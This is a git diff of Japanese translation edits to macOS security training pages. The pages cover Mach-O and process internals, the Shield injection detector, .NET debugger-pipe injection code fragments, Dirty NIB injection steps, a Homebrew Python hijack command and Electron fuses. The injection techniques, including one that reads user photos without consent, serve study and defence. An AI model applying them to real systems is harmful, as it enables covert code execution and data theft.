@ -295,7 +295,7 @@ Mach-Oファイルの**コード署名**に関する情報を含みます。こ
### **`LC_LOAD_DYLINKER`** ### **`LC_LOAD_DYLINKER`**
プロセスアドレス空間に共有ライブラリをマッピングする**動的リンカ実行可能ファイルへのパス**を含みます。**値は常に`/usr/lib/dyld`に設定されています**。macOSでは、dylibのマッピングは**ユーザーモード**で行われることに注意することが重要です。 プロセスアドレス空間に共有ライブラリをマッピングする**動的リンカ実行可能ファイルへのパス**を含みます。**値は常に`/usr/lib/dyld`に設定されています**。macOSでは、dylibのマッピングは**ユーザーモード**で行われることに注意が必要です。
### **`LC_IDENT`** ### **`LC_IDENT`**
@ -311,7 +311,7 @@ Mach-Oファイルの**コード署名**に関する情報を含みます。こ
### **`LC_LOAD_DYLIB`** ### **`LC_LOAD_DYLIB`**
このロードコマンドは、**ライブラリ**依存関係を**動的**に記述し、**ローダー**dyldに**指定されたライブラリをロードおよびリンクするように指示します**。Mach-Oバイナリが必要とする**各ライブラリ**に対して`LC_LOAD_DYLIB`ロードコマンドがあります。 このロードコマンドは、**ライブラリ**依存関係を**動的**に記述し、**ローダー**dyldに**指定されたライブラリをロードおよびリンクするように指示します**。Mach-Oバイナリが必要とする**各ライブラリ**に対して`LC_LOAD_DYLIB`ロードコマンドがあります。
- このロードコマンドは、実際の依存動的ライブラリを記述する構造体dylibを含む**`dylib_command`**型の構造体です: - このロードコマンドは、実際の依存動的ライブラリを記述する構造体dylibを含む**`dylib_command`**型の構造体です:
```objectivec ```objectivec

View File

@ -6,7 +6,7 @@
プロセスは実行中の実行可能ファイルのインスタンスですが、プロセスはコードを実行しません。これらはスレッドです。したがって、**プロセスは実行中のスレッドのコンテナに過ぎません**。メモリ、ディスクリプタ、ポート、権限を提供します... プロセスは実行中の実行可能ファイルのインスタンスですが、プロセスはコードを実行しません。これらはスレッドです。したがって、**プロセスは実行中のスレッドのコンテナに過ぎません**。メモリ、ディスクリプタ、ポート、権限を提供します...
従来、プロセスは**`fork`**を呼び出すことによって他のプロセス内で開始されましたPID 1を除く。これにより、現在のプロセスの正確なコピーが作成され、次に**子プロセス**が一般的に**`execve`**を呼び出して新しい実行可能ファイルをロードして実行します。その後、**`vfork`**が導入され、このプロセスをメモリコピーなしで高速化しました。\ 従来、プロセスは**`fork`**を呼び出すことによって他のプロセス内で開始されましたPID 1を除く。これにより、現在のプロセスの正確なコピーが作成され、その後**子プロセス**は一般的に**`execve`**を呼び出して新しい実行可能ファイルをロードして実行します。その後、**`vfork`**が導入され、メモリコピーなしでこのプロセスを高速化しました。\
次に、**`posix_spawn`**が導入され、**`vfork`**と**`execve`**を1回の呼び出しで組み合わせ、フラグを受け入れます 次に、**`posix_spawn`**が導入され、**`vfork`**と**`execve`**を1回の呼び出しで組み合わせ、フラグを受け入れます
- `POSIX_SPAWN_RESETIDS`: 有効なIDを実際のIDにリセット - `POSIX_SPAWN_RESETIDS`: 有効なIDを実際のIDにリセット
@ -23,7 +23,7 @@
さらに、`posix_spawn`は生成されたプロセスのいくつかの側面を制御する**`posix_spawnattr`**の配列を指定することを許可し、ディスクリプタの状態を変更するための**`posix_spawn_file_actions`**を提供します。 さらに、`posix_spawn`は生成されたプロセスのいくつかの側面を制御する**`posix_spawnattr`**の配列を指定することを許可し、ディスクリプタの状態を変更するための**`posix_spawn_file_actions`**を提供します。
プロセスが終了すると、**親プロセスに戻りコードを送信**します親が終了した場合、新しい親はPID 1。親は`wait4()`または`waitid()`を呼び出してこの値を取得する必要があり、その間、子プロセスはゾンビ状態に留まり、リストに表示されますがリソースを消費しません プロセスが終了すると、**親プロセスに戻りコードを送信**します親が終了した場合、新しい親はPID 1。親は`wait4()`または`waitid()`を呼び出してこの値を取得する必要があり、その間、子プロセスはリソースを消費しないゾンビ状態に留まります。
### PIDs ### PIDs
@ -32,17 +32,17 @@ PID、プロセス識別子は、ユニークなプロセスを識別します
### プロセスグループ、セッション & コアレーション ### プロセスグループ、セッション & コアレーション
**プロセス**は**グループ**に挿入され、管理を容易にします。たとえば、シェルスクリプト内のコマンドは同じプロセスグループにあり、killを使用して**一緒にシグナルを送信**することが可能です。\ **プロセス**は**グループ**に挿入され、管理を容易にします。たとえば、シェルスクリプト内のコマンドは同じプロセスグループにあり、killを使用して**一緒にシグナルを送信**することが可能です。\
また、プロセスを**セッションにグループ化**することも可能です。プロセスがセッションを開始すると(`setsid(2)`)、子プロセスはセッション内に設定されますが、独自のセッションを開始しない限りです。 プロセスをセッションに**グループ化**することも可能です。プロセスがセッションを開始すると(`setsid(2)`)、子プロセスはセッション内に設定されますが、独自のセッションを開始しない限りです。
コアレーションは、Darwinでプロセスをグループ化する別の方法です。コアレーションに参加するプロセスは、プールリソースにアクセスでき、台帳を共有したり、Jetsamに直面したりします。コアレーションには異なる役割がありますリーダー、XPCサービス、拡張。 コアレーションは、Darwinでプロセスをグループ化する別の方法です。コアレーションに参加するプロセスは、プールリソースにアクセスでき、台帳を共有したり、Jetsamに直面したりします。コアレーションには異なる役割がありますリーダー、XPCサービス、拡張。
### 認証情報 & ペルソナ ### 資格情報 & ペルソナ
各プロセスは、システム内の**特権を識別する**ための**認証情報**を保持します。各プロセスには1つの主要な`uid`と1つの主要な`gid`があります(ただし、複数のグループに属する可能性があります)。\ 各プロセスは、システム内の**特権を識別する**ための**資格情報**を保持します。各プロセスには1つの主要な`uid`と1つの主要な`gid`があります(ただし、複数のグループに属することがあります)。\
バイナリが`setuid/setgid`ビットを持っている場合、ユーザーおよびグループIDを変更することも可能です。\ バイナリが`setuid/setgid`ビットを持っている場合、ユーザーおよびグループIDを変更することも可能です。\
新しいuid/gidを**設定するためのいくつかの関数**があります。 新しいuid/gidを**設定するための関数**がいくつかあります。
システムコール**`persona`**は、**代替の**認証情報のセットを提供します。ペルソナを採用する、そのuid、gid、およびグループメンバーシップを**一度に**引き受けることを意味します。[**ソースコード**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h)では、構造体を見つけることができます: システムコール**`persona`**は、**代替**の**資格情報**セットを提供します。ペルソナを採用すると、そのuid、gid、およびグループメンバーシップを**一度に**引き受けます。[**ソースコード**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h)には、構造体が見つかります:
```c ```c
struct kpersona_info { uint32_t persona_info_version; struct kpersona_info { uint32_t persona_info_version;
uid_t persona_id; /* overlaps with UID */ uid_t persona_id; /* overlaps with UID */
@ -73,17 +73,17 @@ char persona_name[MAXLOGNAME + 1];
共有リソースへのアクセスを管理し、競合状態を避けるために、macOSはいくつかの同期プリミティブを提供します。これらはマルチスレッド環境においてデータの整合性とシステムの安定性を確保するために重要です 共有リソースへのアクセスを管理し、競合状態を避けるために、macOSはいくつかの同期プリミティブを提供します。これらはマルチスレッド環境においてデータの整合性とシステムの安定性を確保するために重要です
1. **ミューテックス:** 1. **ミューテックス:**
- **通常のミューテックス (シグネチャ: 0x4D555458):** メモリフットプリントが60バイトミューテックス56バイト、シグネチャ4バイトの標準ミューテックス。 - **通常のミューテックス (署名: 0x4D555458):** メモリフットプリントが60バイトミューテックス56バイト、署名4バイトの標準ミューテックス。
- **ファストミューテックス (シグネチャ: 0x4d55545A):** 通常のミューテックスに似ていますが、より高速な操作のために最適化されており、サイズは60バイトです。 - **ファストミューテックス (署名: 0x4d55545A):** 通常のミューテックスに似ていますが、より高速な操作のために最適化されており、サイズは60バイトです。
2. **条件変数:** 2. **条件変数:**
- 特定の条件が発生するのを待つために使用され、サイズは44バイト40バイトプラス4バイトのシグネチャ)。 - 特定の条件が発生するのを待つために使用され、サイズは44バイト40バイトプラス4バイトの署名)。
- **条件変数属性 (シグネチャ: 0x434e4441):** 条件変数の設定属性で、サイズは12バイトです。 - **条件変数属性 (署名: 0x434e4441):** 条件変数の設定属性で、サイズは12バイトです。
3. **ワンス変数 (シグネチャ: 0x4f4e4345):** 3. **ワンス変数 (署名: 0x4f4e4345):**
- 初期化コードが一度だけ実行されることを保証します。サイズは12バイトです。 - 初期化コードが一度だけ実行されることを保証します。サイズは12バイトです。
4. **読み書きロック:** 4. **読み書きロック:**
- 複数のリーダーまたは1つのライターを同時に許可し、共有データへの効率的なアクセスを促進します。 - 複数のリーダーまたは1つのライターを同時に許可し、共有データへの効率的なアクセスを促進します。
- **読み書きロック (シグネチャ: 0x52574c4b):** サイズは196バイトです。 - **読み書きロック (署名: 0x52574c4b):** サイズは196バイトです。
- **読み書きロック属性 (シグネチャ: 0x52574c41):** 読み書きロックの属性で、サイズは20バイトです。 - **読み書きロック属性 (署名: 0x52574c41):** 読み書きロックの属性で、サイズは20バイトです。
> [!TIP] > [!TIP]
> これらのオブジェクトの最後の4バイトはオーバーフローを検出するために使用されます。 > これらのオブジェクトの最後の4バイトはオーバーフローを検出するために使用されます。
@ -109,9 +109,9 @@ Mach-O バイナリでは、スレッドローカル変数に関連するデー
Mach-O は、スレッドが終了する際にスレッドローカル変数を管理するための特定の API **`tlv_atexit`** も提供しています。この API を使用すると、スレッドが終了する際にスレッドローカルデータをクリーンアップする特別な関数である **デストラクタ****登録** できます。 Mach-O は、スレッドが終了する際にスレッドローカル変数を管理するための特定の API **`tlv_atexit`** も提供しています。この API を使用すると、スレッドが終了する際にスレッドローカルデータをクリーンアップする特別な関数である **デストラクタ****登録** できます。
### スレッドの優先順位 ### スレッドの優先
スレッドの優先順位を理解するには、オペレーティングシステムがどのスレッドをいつ実行するかを決定する方法を見ていく必要があります。この決定は、各スレッドに割り当てられた優先度レベルによって影響を受けます。macOS および Unix 系システムでは、これを `nice``renice`、および Quality of Service (QoS) クラスのような概念を使用して処理します。 スレッドの優先を理解するには、オペレーティングシステムがどのスレッドをいつ実行するかを決定する方法を見ていく必要があります。この決定は、各スレッドに割り当てられた優先度レベルによって影響を受けます。macOS および Unix 系システムでは、これを `nice``renice`、および Quality of Service (QoS) クラスのような概念を使用して処理します。
#### Nice と Renice #### Nice と Renice
@ -119,12 +119,12 @@ Mach-O は、スレッドが終了する際にスレッドローカル変数を
- プロセスの `nice` 値は、その優先度に影響を与える数値です。すべてのプロセスには -20最高優先度から 19最低優先度までの範囲の nice 値があります。プロセスが作成されるときのデフォルトの nice 値は通常 0 です。 - プロセスの `nice` 値は、その優先度に影響を与える数値です。すべてのプロセスには -20最高優先度から 19最低優先度までの範囲の nice 値があります。プロセスが作成されるときのデフォルトの nice 値は通常 0 です。
- より低い nice 値(-20 に近い)は、プロセスをより「自己中心的」にし、他のプロセスよりも多くの CPU 時間を与えます。 - より低い nice 値(-20 に近い)は、プロセスをより「自己中心的」にし、他のプロセスよりも多くの CPU 時間を与えます。
2. **Renice:** 2. **Renice:**
- `renice` は、すでに実行中のプロセスの nice 値を変更するために使用されるコマンドです。これを使用して、プロセスの優先度を動的に調整し、新しい nice 値に基づいて CPU 時間の割り当てを増減させることができます。 - `renice` は、すでに実行中のプロセスの nice 値を変更するために使用されるコマンドです。これを使用して、プロセスの優先度を動的に調整し、新しい nice 値に基づいて CPU 時間の割り当てを増減できます。
- たとえば、プロセスが一時的により多くの CPU リソースを必要とする場合、`renice` を使用してその nice 値を下げることができます。 - たとえば、プロセスが一時的により多くの CPU リソースを必要とする場合、`renice` を使用してその nice 値を下げることができます。
#### Quality of Service (QoS) クラス #### Quality of Service (QoS) クラス
QoS クラスは、特に **Grand Central Dispatch (GCD)** をサポートする macOS のようなシステムでスレッドの優先順位を処理するためのより現代的なアプローチです。QoS クラスを使用すると、開発者は作業をその重要性や緊急性に基づいて異なるレベルに **分類** できます。macOS はこれらの QoS クラスに基づいてスレッドの優先順位を自動的に管理します: QoS クラスは、特に **Grand Central Dispatch (GCD)** をサポートする macOS のようなシステムでスレッドの優先を処理するためのより現代的なアプローチです。QoS クラスを使用すると、開発者は作業をその重要性や緊急性に基づいて異なるレベルに **分類** できます。macOS はこれらの QoS クラスに基づいてスレッドの優先を自動的に管理します:
1. **ユーザーインタラクティブ:** 1. **ユーザーインタラクティブ:**
- このクラスは、現在ユーザーと対話しているタスクや、良好なユーザーエクスペリエンスを提供するために即時の結果を必要とするタスクに使用されます。これらのタスクは、インターフェースを応答性のあるものに保つために最高の優先度が与えられます(例:アニメーションやイベント処理)。 - このクラスは、現在ユーザーと対話しているタスクや、良好なユーザーエクスペリエンスを提供するために即時の結果を必要とするタスクに使用されます。これらのタスクは、インターフェースを応答性のあるものに保つために最高の優先度が与えられます(例:アニメーションやイベント処理)。
@ -133,7 +133,7 @@ QoS クラスは、特に **Grand Central Dispatch (GCD)** をサポートする
3. **ユーティリティ:** 3. **ユーティリティ:**
- これらのタスクは長時間実行され、通常は進行状況インジケーターを表示します(例:ファイルのダウンロード、データのインポート)。これらはユーザー開始タスクよりも優先度が低く、即座に完了する必要はありません。 - これらのタスクは長時間実行され、通常は進行状況インジケーターを表示します(例:ファイルのダウンロード、データのインポート)。これらはユーザー開始タスクよりも優先度が低く、即座に完了する必要はありません。
4. **バックグラウンド:** 4. **バックグラウンド:**
- このクラスは、バックグラウンドで動作し、ユーザーには見えないタスクに使用されます。これには、インデックス作成、同期、バックアップなどのタスクが含まれます。これらは最低の優先度を持ち、システムパフォーマンスに与える影響は最小限です。 - このクラスは、バックグラウンドで動作し、ユーザーには見えないタスクに使用されます。これには、インデックス作成、同期、バックアップなどのタスクが含まれます。これらは最低の優先度を持ち、システムパフォーマンスに最小限の影響を与えます。
QoS クラスを使用することで、開発者は正確な優先度番号を管理する必要がなく、タスクの性質に焦点を当てることができ、システムはそれに応じて CPU リソースを最適化します。 QoS クラスを使用することで、開発者は正確な優先度番号を管理する必要がなく、タスクの性質に焦点を当てることができ、システムはそれに応じて CPU リソースを最適化します。
@ -185,7 +185,7 @@ macos-chromium-injection.md
### ダーティ NIB ### ダーティ NIB
NIB ファイルは **ユーザーインターフェース (UI) 要素** とその相互作用をアプリケーション内で定義します。しかし、これらは **任意のコマンドを実行する** ことができ、**Gatekeeper はすでに実行されたアプリケーションが実行されるのを止めません** もし **NIB ファイルが変更された場合**。したがって、これらは任意のプログラムが任意のコマンドを実行するために使用される可能性があります: NIB ファイルは **ユーザーインターフェース (UI) 要素** とその相互作用をアプリケーション内で定義します。しかし、これらは **任意のコマンドを実行する** ことができ、**Gatekeeper はすでに実行されたアプリケーションが **NIB ファイルが変更されても** 実行されるのを止めません**。したがって、これらは任意のプログラムが任意のコマンドを実行するために使用される可能性があります:
{{#ref}} {{#ref}}
macos-dirty-nib.md macos-dirty-nib.md
@ -234,7 +234,7 @@ macos-ruby-applications-injection.md
> [!CAUTION] > [!CAUTION]
> 全体として、環境変数を悪用して Python が任意のコードを実行する方法を見つけることができませんでした。\ > 全体として、環境変数を悪用して Python が任意のコードを実行する方法を見つけることができませんでした。\
> ただし、ほとんどの人は **Homebrew** を使用して Python をインストールし、これによりデフォルトの管理者ユーザーのために **書き込み可能な場所** に Python がインストールされます。次のようにハイジャックできます: > ただし、ほとんどの人は **Hombrew** を使用して Python をインストールし、デフォルトの管理者ユーザーのために **書き込み可能な場所** に Python をインストールします。次のようにハイジャックできます:
> >
> ```bash > ```bash
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old > mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
@ -255,15 +255,15 @@ macos-ruby-applications-injection.md
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) は、**プロセスインジェクション** アクションを **検出し、ブロックする** ことができるオープンソースアプリケーションです: [**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) は、**プロセスインジェクション** アクションを **検出し、ブロックする** ことができるオープンソースアプリケーションです:
- **環境変数を使用**: 次の環境変数のいずれかの存在を監視します: **`DYLD_INSERT_LIBRARIES`**、**`CFNETWORK_LIBRARY_PATH`**、**`RAWCAMERA_BUNDLE_PATH`** および **`ELECTRON_RUN_AS_NODE`** - **環境変数を使用**: 次の環境変数のいずれかの存在を監視します: **`DYLD_INSERT_LIBRARIES`**、**`CFNETWORK_LIBRARY_PATH`**、**`RAWCAMERA_BUNDLE_PATH`** および **`ELECTRON_RUN_AS_NODE`**
- **`task_for_pid`** 呼び出しを使用: あるプロセスが他のプロセスの **タスクポートを取得したい** ときに見つけるために使用され、これによりプロセスにコードを注入できます。 - **`task_for_pid`** 呼び出しを使用: あるプロセスが他のプロセスの **タスクポートを取得しようとする** 時を見つけるために使用され、これによりプロセスにコードを注入できます。
- **Electron アプリのパラメータ**: 誰かが **`--inspect`**、**`--inspect-brk`** および **`--remote-debugging-port`** コマンドライン引数を使用して Electron アプリをデバッグモードで起動し、コードを注入することができます。 - **Electron アプリのパラメータ**: 誰かが **`--inspect`**、**`--inspect-brk`** および **`--remote-debugging-port`** コマンドライン引数を使用して Electron アプリをデバッグモードで起動し、コードを注入することができます。
- **シンボリックリンク** または **ハードリンク** を使用: 一般的な悪用は、**ユーザー権限でリンクを配置し****より高い権限の** 場所を指すことです。リンクを作成するプロセスがターゲットファイルとは **異なる権限レベル** を持っている場合、**アラート** を作成します。残念ながら、シンボリックリンクの場合、作成前にリンクの宛先に関する情報がないため、ブロックは不可能です。これは Apple の EndpointSecurity フレームワークの制限です。 - **シンボリックリンク** または **ハードリンク** を使用: 一般的な悪用は、**ユーザー権限でリンクを配置し、より高い権限の場所を指す** ことです。リンクを作成するプロセスがターゲットファイルとは **異なる権限レベル** を持っている場合、**アラート** を作成します。残念ながら、シンボリックリンクの場合、作成前にリンクの宛先に関する情報がないため、ブロックは不可能です。これは Apple の EndpointSecuriy フレームワークの制限です。
### 他のプロセスによって行われた呼び出し ### 他のプロセスによって行われた呼び出し
[**このブログ記事**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) では、**`task_name_for_pid`** 関数を使用して、他の **プロセスがプロセスにコードを注入している** 情報を取得し、その他のプロセスに関する情報を取得する方法を見つけることができます。 [**このブログ記事**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) では、関数 **`task_name_for_pid`** を使用して、他の **プロセスがプロセスにコードを注入している** 情報を取得し、その他のプロセスに関する情報を取得する方法を見つけることができます。
この関数を呼び出すには、プロセスを実行しているのと **同じ uid** であるか、**root** である必要があります(そして、プロセスに関する情報を返しますが、コードを注入する方法ではありません)。 この関数を呼び出すには、プロセスを実行しているのと **同じ uid** であるか、**root** である必要があります(この関数はプロセスに関する情報を返し、コードを注入する方法を返すわけではありません)。
## 参考文献 ## 参考文献

View File

@ -10,7 +10,7 @@
.NETにおけるデバッガとデバッグ対象間の通信の処理は、[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)によって管理されています。このコンポーネントは、[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)に見られるように、各.NETプロセスごとに2つの名前付きパイプを設定します。これらは[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)を介して開始されます。これらのパイプは**`-in`**および**`-out`**で接尾辞が付けられています。 .NETにおけるデバッガとデバッグ対象間の通信の処理は、[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)によって管理されています。このコンポーネントは、[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)に見られるように、各.NETプロセスごとに2つの名前付きパイプを設定します。これらは[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)を介して開始されます。これらのパイプは**`-in`**および**`-out`**で接尾辞が付けられています。
ユーザーの**`$TMPDIR`**を訪れることで、.Netアプリケーションのデバッグ用のFIFOが見つかります。 ユーザーの**`$TMPDIR`**を訪れることで、.Netアプリケーションのデバッグに利用可能なFIFOを見つけることができます。
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)は、デバッガからの通信を管理する責任があります。新しいデバッグセッションを開始するには、デバッガは`out`パイプを介して`MessageHeader`構造体で始まるメッセージを送信する必要があります。この構造体の詳細は.NETのソースコードに記載されています。 [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)は、デバッガからの通信を管理する責任があります。新しいデバッグセッションを開始するには、デバッガは`out`パイプを介して`MessageHeader`構造体で始まるメッセージを送信する必要があります。この構造体の詳細は.NETのソースコードに記載されています。
```c ```c
@ -42,13 +42,13 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
``` ```
このヘッダーは、その後、`write` syscallを使用してターゲットに送信され、セッションのGUIDを含む`sessionRequestData`構造体が続きます: このヘッダーは、その後、`write` システムコールを使用してターゲットに送信され、セッションの GUID を含む `sessionRequestData` 構造体が続きます:
```c ```c
write(wr, &sSendHeader, sizeof(MessageHeader)); write(wr, &sSendHeader, sizeof(MessageHeader));
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
write(wr, &sDataBlock, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData));
``` ```
`out` パイプの読み取り操作は、デバッグセッションの確立の成功または失敗を確認します: `out` パイプの読み取り操作は、デバッグセッションの確立の成功または失敗を確認します:
```c ```c
read(rd, &sReceiveHeader, sizeof(MessageHeader)); read(rd, &sReceiveHeader, sizeof(MessageHeader));
``` ```
@ -97,7 +97,7 @@ x64システムでは、シグネチャハンティングを使用して`libcorc
`MT_GetDCB`デバッガ関数は、ヘルパー関数のアドレス`m_helperRemoteStartAddr`を含む有用な情報を提供し、プロセスメモリ内の`libcorclr.dll`の位置を示します。このアドレスは、その後DFTの検索を開始し、関数ポインタをシェルコードのアドレスで上書きするために使用されます。 `MT_GetDCB`デバッガ関数は、ヘルパー関数のアドレス`m_helperRemoteStartAddr`を含む有用な情報を提供し、プロセスメモリ内の`libcorclr.dll`の位置を示します。このアドレスは、その後DFTの検索を開始し、関数ポインタをシェルコードのアドレスで上書きするために使用されます。
PowerShellへの注入のための完全なPOCコードは[こちら](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)からアクセスできます。 PowerShellへの注入のための完全なPOCコードは[こちら](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)でアクセス可能です。
## 参考文献 ## 参考文献

View File

@ -10,7 +10,7 @@ NibNeXT Interface Builderの略ファイルは、Appleの開発エコシ
主要なNibファイルは、アプリケーションの`Info.plist`ファイル内の**`NSMainNibFile`**の値で参照され、アプリケーションの`main`関数で実行される**`NSApplicationMain`**関数によって読み込まれます。 主要なNibファイルは、アプリケーションの`Info.plist`ファイル内の**`NSMainNibFile`**の値で参照され、アプリケーションの`main`関数で実行される**`NSApplicationMain`**関数によって読み込まれます。
### Dirty Nibインジェクションプロセス ### ダーティNibインジェクションプロセス
#### NIBファイルの作成と設定 #### NIBファイルの作成と設定
@ -36,7 +36,7 @@ display dialog theDialogText
1. **準備**: 1. **準備**:
- ターゲットアプリPagesを別のディレクトリ`/tmp/`)にコピーします。 - ターゲットアプリPagesを別のディレクトリ`/tmp/`)にコピーします。
- Gatekeeperの問題を回避し、アプリをキャッシュするために起動します。 - Gatekeeperの問題を回避し、アプリをキャッシュするためにアプリを起動します。
2. **NIBファイルの上書き**: 2. **NIBファイルの上書き**:
- 既存のNIBファイルAbout Panel NIBを作成したDirtyNIBファイルで置き換えます。 - 既存のNIBファイルAbout Panel NIBを作成したDirtyNIBファイルで置き換えます。
3. **実行**: 3. **実行**:
@ -44,7 +44,7 @@ display dialog theDialogText
#### 概念実証:ユーザーデータへのアクセス #### 概念実証:ユーザーデータへのアクセス
- AppleScriptを修正して、ユーザーの同意なしに写真などのユーザーデータにアクセスし、抽出します。 - ユーザーの同意なしに、AppleScriptを修正してユーザーデータ写真などにアクセスし、抽出します。
### コードサンプル:悪意のある .xib ファイル ### コードサンプル:悪意のある .xib ファイル
@ -52,7 +52,7 @@ display dialog theDialogText
### その他の例 ### その他の例
投稿[https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)では、ダーティニブの作成方法に関するチュートリアルを見つけることができます。&#x20; 投稿[https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)では、ダーティNibの作成方法に関するチュートリアルを見つけることができます。&#x20;
### 起動制約への対処 ### 起動制約への対処
@ -68,6 +68,6 @@ macOS Sonoma以降、アプリバンドル内の変更が制限されていま
3. Gatekeeperに登録するためにアプリを実行した後、アプリバンドルを変更しますMainMenu.nibをDirty.nibに置き換えます 3. Gatekeeperに登録するためにアプリを実行した後、アプリバンドルを変更しますMainMenu.nibをDirty.nibに置き換えます
4. ディレクトリの名前を元に戻し、アプリを再実行してインジェクトされたNIBファイルを実行します。 4. ディレクトリの名前を元に戻し、アプリを再実行してインジェクトされたNIBファイルを実行します。
**注意**: 最近のmacOSの更新により、Gatekeeperキャッシュ後にアプリバンドル内のファイル変更が防止され、この脆弱性が無効化されました。 **注意**: 最近のmacOSのアップデートにより、Gatekeeperキャッシュ後にアプリバンドル内のファイル変更が防止され、この脆弱性が無効化されました。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -12,9 +12,9 @@ Electronが何か知らない場合は、[**こちらにたくさんの情報が
これらの技術については次に説明しますが、最近Electronはそれらを防ぐためにいくつかの**セキュリティフラグ**を追加しました。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、macOSのElectronアプリが**任意のコードを読み込むのを防ぐために使用されるものです** これらの技術については次に説明しますが、最近Electronはそれらを防ぐためにいくつかの**セキュリティフラグ**を追加しました。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、macOSのElectronアプリが**任意のコードを読み込むのを防ぐために使用されるものです**
- **`RunAsNode`**: 無効にすると、コードを注入するための環境変数**`ELECTRON_RUN_AS_NODE`**の使用が防止されます。 - **`RunAsNode`**: 無効にすると、コードを注入するための環境変数**`ELECTRON_RUN_AS_NODE`**の使用が防止されます。
- **`EnableNodeCliInspectArguments`**: 無効にすると、`--inspect``--inspect-brk`のようなパラメータ尊重されません。この方法でコードを注入するのを避けます。 - **`EnableNodeCliInspectArguments`**: 無効にすると、`--inspect``--inspect-brk`のようなパラメータ尊重されません。この方法でコードを注入するのを避けます。
- **`EnableEmbeddedAsarIntegrityValidation`**: 有効にすると、読み込まれた**`asar`** **ファイル**macOSによって**検証されます**。これにより、このファイルの内容を変更することによる**コード注入を防ぎます** - **`EnableEmbeddedAsarIntegrityValidation`**: 有効にすると、読み込まれた**`asar`** **ファイル**macOSによって**検証されます**。これにより、このファイルの内容を変更することによる**コード注入**が防止されます
- **`OnlyLoadAppFromAsar`**: これが有効になっている場合、次の順序で読み込むのではなく:**`app.asar`**、**`app`**、そして最後に**`default_app.asar`**。app.asarのみをチェックして使用するため、**`embeddedAsarIntegrityValidation`**フューズと組み合わせることで**検証されていないコードを読み込むことが不可能になります** - **`OnlyLoadAppFromAsar`**: これが有効になっている場合、次の順序で読み込むのではなく:**`app.asar`**、**`app`**、そして最後に**`default_app.asar`**。app.asarのみをチェックして使用するため、**`embeddedAsarIntegrityValidation`**フューズと組み合わせることで**検証されていないコードを読み込むことが不可能**になります。
- **`LoadBrowserProcessSpecificV8Snapshot`**: 有効にすると、ブラウザプロセスは`browser_v8_context_snapshot.bin`というファイルをV8スナップショットに使用します。 - **`LoadBrowserProcessSpecificV8Snapshot`**: 有効にすると、ブラウザプロセスは`browser_v8_context_snapshot.bin`というファイルをV8スナップショットに使用します。
コード注入を防がないもう一つの興味深いフューズは: コード注入を防がないもう一つの興味深いフューズは:
@ -50,27 +50,27 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
**`Electron Framework`**バイナリをこれらのバイトを変更してアプリケーション内に**上書き**しようとすると、アプリは実行されません **`Electron Framework`**バイナリをこれらのバイトを変更してアプリケーション内に**上書き**しようとすると、アプリは実行されないことに注意してください
## RCEをElectronアプリケーションにコードを追加する ## RCEコードをElectronアプリケーションに追加する
